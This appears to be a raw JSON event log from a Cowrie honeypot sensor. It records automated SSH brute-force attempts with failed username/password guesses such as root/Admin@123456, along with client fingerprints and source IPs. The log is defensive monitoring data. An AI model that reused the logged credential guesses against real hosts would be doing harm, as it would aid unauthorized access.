{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:52.877509Z","src_ip":"45.156.87.254","session":"1dfc3b496cf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:53.321551Z","src_ip":"45.156.87.254","session":"1dfc3b496cf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:54.408055Z","src_ip":"45.156.87.254","session":"1dfc3b496cf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50880,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9bf223b6a3f","protocol":"ssh","message":"New connection: 45.156.87.254:50880 (159.203.135.109:22) [session: c9bf223b6a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:56.575452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:56.579830Z","src_ip":"45.156.87.254","session":"c9bf223b6a3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:56.661834Z","src_ip":"45.156.87.254","session":"c9bf223b6a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:57.167841Z","src_ip":"45.156.87.254","session":"c9bf223b6a3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:58.253318Z","src_ip":"45.156.87.254","session":"c9bf223b6a3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.8143413066864,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:59.452847Z","src_ip":"188.228.215.246","session":"b9c01418ad56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34618,"dst_ip":"159.203.135.109","dst_port":22,"session":"49b92ffad849","protocol":"ssh","message":"New connection: 45.156.87.254:34618 (159.203.135.109:22) [session: 49b92ffad849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:00.691934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:00.700292Z","src_ip":"45.156.87.254","session":"49b92ffad849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:00.785715Z","src_ip":"45.156.87.254","session":"49b92ffad849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:01.038229Z","src_ip":"45.156.87.254","session":"49b92ffad849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:02.126320Z","src_ip":"45.156.87.254","session":"49b92ffad849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34642,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e911e16ab89","protocol":"ssh","message":"New connection: 45.156.87.254:34642 (159.203.135.109:22) [session: 5e911e16ab89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:04.763410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:04.768911Z","src_ip":"45.156.87.254","session":"5e911e16ab89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:04.851711Z","src_ip":"45.156.87.254","session":"5e911e16ab89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:05.108680Z","src_ip":"45.156.87.254","session":"5e911e16ab89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":9741,"dst_ip":"10.17.0.5","dst_port":22,"session":"25decf44f7b8","protocol":"ssh","message":"New connection: 2.57.121.25:9741 (10.17.0.5:22) [session: 25decf44f7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:06.019786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:06.025634Z","src_ip":"2.57.121.25","session":"25decf44f7b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:06.131931Z","src_ip":"2.57.121.25","session":"25decf44f7b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:06.293553Z","src_ip":"45.156.87.254","session":"5e911e16ab89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"29061980","message":"login attempt [user/29061980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:06.619051Z","src_ip":"2.57.121.25","session":"25decf44f7b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"29051981","message":"login attempt [user/29051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:07.726222Z","src_ip":"2.57.121.25","session":"25decf44f7b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41034,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9621bf9392b","protocol":"ssh","message":"New connection: 45.156.87.254:41034 (159.203.135.109:22) [session: e9621bf9392b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:08.672927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:08.693719Z","src_ip":"45.156.87.254","session":"e9621bf9392b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:08.771240Z","src_ip":"45.156.87.254","session":"e9621bf9392b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"281185","message":"login attempt [user/281185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:08.833612Z","src_ip":"2.57.121.25","session":"25decf44f7b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:09.103459Z","src_ip":"45.156.87.254","session":"e9621bf9392b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28091983","message":"login attempt [user/28091983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:09.940678Z","src_ip":"2.57.121.25","session":"25decf44f7b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:10.189550Z","src_ip":"45.156.87.254","session":"e9621bf9392b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.51.219.207","src_port":59668,"dst_ip":"10.17.0.5","dst_port":23,"session":"91a27db2397e","protocol":"telnet","message":"New connection: 157.51.219.207:59668 (10.17.0.5:23) [session: 91a27db2397e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:10.537627Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"280884","message":"login attempt [user/280884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:11.047172Z","src_ip":"2.57.121.25","session":"25decf44f7b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:12.154731Z","src_ip":"2.57.121.25","session":"25decf44f7b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41052,"dst_ip":"159.203.135.109","dst_port":22,"session":"76ce1cac50de","protocol":"ssh","message":"New connection: 45.156.87.254:41052 (159.203.135.109:22) [session: 76ce1cac50de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:12.586632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:12.591596Z","src_ip":"45.156.87.254","session":"76ce1cac50de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:12.675468Z","src_ip":"45.156.87.254","session":"76ce1cac50de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:13.142213Z","src_ip":"45.156.87.254","session":"76ce1cac50de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:14.227858Z","src_ip":"45.156.87.254","session":"76ce1cac50de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.33724403381348,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:15.087151Z","src_ip":"104.245.105.2","session":"9b390dc60512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41070,"dst_ip":"159.203.135.109","dst_port":22,"session":"88146bce5033","protocol":"ssh","message":"New connection: 45.156.87.254:41070 (159.203.135.109:22) [session: 88146bce5033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:16.866622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:16.871757Z","src_ip":"45.156.87.254","session":"88146bce5033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:16.966665Z","src_ip":"45.156.87.254","session":"88146bce5033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:17.214764Z","src_ip":"45.156.87.254","session":"88146bce5033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:18.300835Z","src_ip":"45.156.87.254","session":"88146bce5033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":43926,"dst_ip":"159.203.135.109","dst_port":22,"session":"51883c4adaa3","protocol":"ssh","message":"New connection: 45.156.87.254:43926 (159.203.135.109:22) [session: 51883c4adaa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:21.166756Z"}
